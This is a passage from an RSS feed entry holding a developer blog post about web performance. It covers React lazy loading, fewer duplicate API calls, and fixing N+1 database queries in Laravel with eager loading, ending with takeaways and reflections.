&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Dashboard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Dashboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reduced initial load time.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Efficient Data Fetching
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Avoided duplicate API calls&lt;/li&gt;
&lt;li&gt;Cached results when possible&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;

&lt;p&gt;After all optimizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Page load time dropped significantly&lt;/li&gt;
&lt;li&gt;API became faster and more scalable&lt;/li&gt;
&lt;li&gt;UI felt instant even with large data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What used to feel slow and heavy became smooth and responsive.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;This experience taught me something important:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Performance problems are often not where you think they are.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I spent time looking at React—but the real issue was in the database.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Always watch for &lt;strong&gt;N+1 queries&lt;/strong&gt; in backend systems&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;Eager Loading&lt;/strong&gt; in Laravel (&lt;code&gt;with()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Optimize API responses, not just queries&lt;/li&gt;
&lt;li&gt;Frontend performance depends on backend efficiency&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Fixing the N+1 query problem completely changed how I think about building applications.&lt;/p&gt;

&lt;p&gt;Now, whenever I design a feature, I ask:&lt;/p&gt;

&lt;p&gt;👉 &lt;em&gt;How many queries will this run?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Because performance isn’t just about code—it’s about how systems interact.&lt;/p&gt;

&lt;p&gt;And once you fix the root problem, everything becomes faster.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>react</category>
      <category>laravel</category>
      <category>php</category>
    </item>
  </channel>
</rss>
